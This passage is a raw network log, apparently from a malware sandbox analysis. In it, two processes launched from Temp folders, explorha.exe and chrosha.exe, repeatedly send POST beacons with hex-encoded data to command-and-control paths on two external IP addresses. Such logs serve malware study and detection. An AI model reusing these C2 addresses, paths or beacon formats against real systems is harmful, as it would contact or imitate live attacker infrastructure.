Apr 19, 2024 03:30:13.202181101 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:13.458098888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49907	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:13.151559114 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:13.399878025 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49909	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:13.772336960 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:14.017925024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49910	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:13.819487095 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:14.066620111 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:14.067485094 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:14.320136070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49911	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:14.263441086 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:14.510910034 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49912	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:14.674686909 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:14.919282913 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:14.924643993 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:15.174932957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49913	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:14.893996000 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:15.140826941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:30:15.148159027 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:15.398729086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49914	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:15.534241915 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:15.776917934 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:15.780670881 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:16.027312040 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49915	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:15.761995077 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:16.013458014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49916	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:16.258913040 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:16.504342079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49917	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:16.385515928 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:16.635970116 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:16.636969090 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:16.892774105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49920	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:16.868186951 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:17.114401102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49921	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:17.261063099 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:17.510898113 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:17.511830091 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:17.765737057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49922	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:17.365765095 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:17.616955996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49927	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:17.972577095 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:18.216613054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49928	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:18.131050110 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:18.377362013 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:18.382152081 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:18.632913113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49930	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:18.462346077 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:18.706995010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49931	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:18.992307901 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
